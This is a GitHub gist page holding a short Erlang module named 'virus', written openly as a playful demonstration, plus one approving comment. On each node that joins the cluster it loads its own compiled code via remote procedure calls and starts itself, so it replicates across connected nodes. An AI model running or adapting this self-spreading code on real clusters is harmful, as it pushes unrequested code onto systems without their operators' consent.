Skip to content
Create a gist now

Instantly share code, notes, and snippets.

A small module that jumps between connected nodes
%% @doc A small module that jumps between connected nodes.
%% @author Gianfranco Alongi <gianfranco.alongi@gmail.com>
%% @author Adam Lindberg <hello@alind.io>
-module(virus).
-export([start/0]).
-export([start/1]).
start() -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).
spawn_process(Beam) ->
case whereis(?MODULE) of
undefined -> spawn(fun() -> virus(Beam) end);
_Else -> ok
end.
virus(Beam) ->
register(?MODULE, self()),
net_kernel:monitor_nodes(true),
io:format(user, "You're infested!~n", []),
%[infest(Node) || Node <- nodes()],
virus_loop(Beam).
virus_loop(Beam) ->
receive
{nodeup, Node} ->
infest(Node, Beam),
io:format(user, "~p has joined!~n", [Node])
end,
virus_loop(Beam).
infest(Node, {Mod, Bin, File} = Beam) ->
{module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
rpc:call(Node, ?MODULE, start, [Beam]).
@aerosol
aerosol commented Mar 28, 2012

awesome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.